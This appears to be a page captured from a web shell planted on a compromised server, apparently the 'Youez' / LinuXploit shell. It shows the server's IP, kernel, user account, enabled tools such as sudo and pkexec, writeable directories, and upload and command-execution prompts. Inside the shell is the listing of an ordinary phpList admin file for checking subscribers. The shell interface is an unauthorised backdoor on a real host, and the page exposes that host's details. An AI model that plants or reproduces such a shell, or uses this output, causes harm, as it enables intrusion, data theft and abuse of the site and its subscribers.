403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/handjobcafe.com/public_html/lists/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/handjobcafe.com/public_html/lists/admin/usercheck.php
<?php
require_once dirname(__FILE__).'/accesscheck.php';

$content = '';
if (isset($_POST["usercheck"])) {
  $lsexist = new WebblerListing(s("Existing subscribers"));
  $lsnonexist = new WebblerListing(s("Non existing subscribers "));
  $users = explode("\n",$_POST["usercheck"]);
  foreach ($users as $user) {
    $user = trim($user);
    if (isset($_POST['check']) && $_POST["check"] == "foreignkey") {
      $exists = Sql_Query(sprintf('select id,foreignkey,email from %s where foreignkey = "%s"',$tables["user"],sql_escape($user)));
    } else {
      $exists = Sql_Query(sprintf('select id,foreignkey,email from %s where email = "%s"',$tables["user"],sql_escape($user)));
    }
    if (Sql_Num_Rows($exists)) {
      $id = Sql_Fetch_Array($exists);
      $element = strip_tags($user);
      $lsexist->addElement($element,PageUrl2("user&amp;id=".$id["id"]));
      $lsexist->addColumn($element,$GLOBALS["I18N"]->get('email'),$id['email']);
      $lsexist->addColumn($element,$GLOBALS["I18N"]->get('key'),$id['foreignkey']);
    } else {
      $lsnonexist->addElement(strip_tags($user));
    }
  }
  print $lsexist->display();
  print $lsnonexist->display();
} else {
  $_POST['usercheck'] = '';
}

/*
print $GLOBALS["I18N"]->get("Page to check the existence of users in the database");
*/

$content .=  '<form method="post" action="">';
$content .=  '<table class="usercheckForm">';
$content .=  '<tr><td>'.s("What is the type of information you want to check").'</td></tr>';
$content .=  '<tr><td><label for="foreignkey">'.s("Foreign Key").'</label> <input type="radio" id="foreignkey" name="check" value="foreignkey"></td></tr>';
$content .=  '<tr><td><label for="email">'.s("Email").'</label> <input type="radio" id="email" name="check" value="email"></td></tr>';
$content .=  '<tr><td>'.s("Paste the values to check in this box, one per line").'</td></tr>';
$content .=  '<tr><td><input type="submit" name="continue" value="'.s("Continue").'" class="button"></td></tr>';
$content .=  '<tr><td><textarea name="usercheck" rows=30 cols=65>'.htmlspecialchars(stripslashes($_POST['usercheck'])).'</textarea></td></tr>';
$content .=  '<tr><td><input type="submit" name="continue" value="'.s("Continue").'" class="button"></td></tr>';
$content .=  '</table></form>';

$p = new UIPanel('',$content);
print $p->display();

Youez - 2016 - github.com/yon3zu
LinuXploit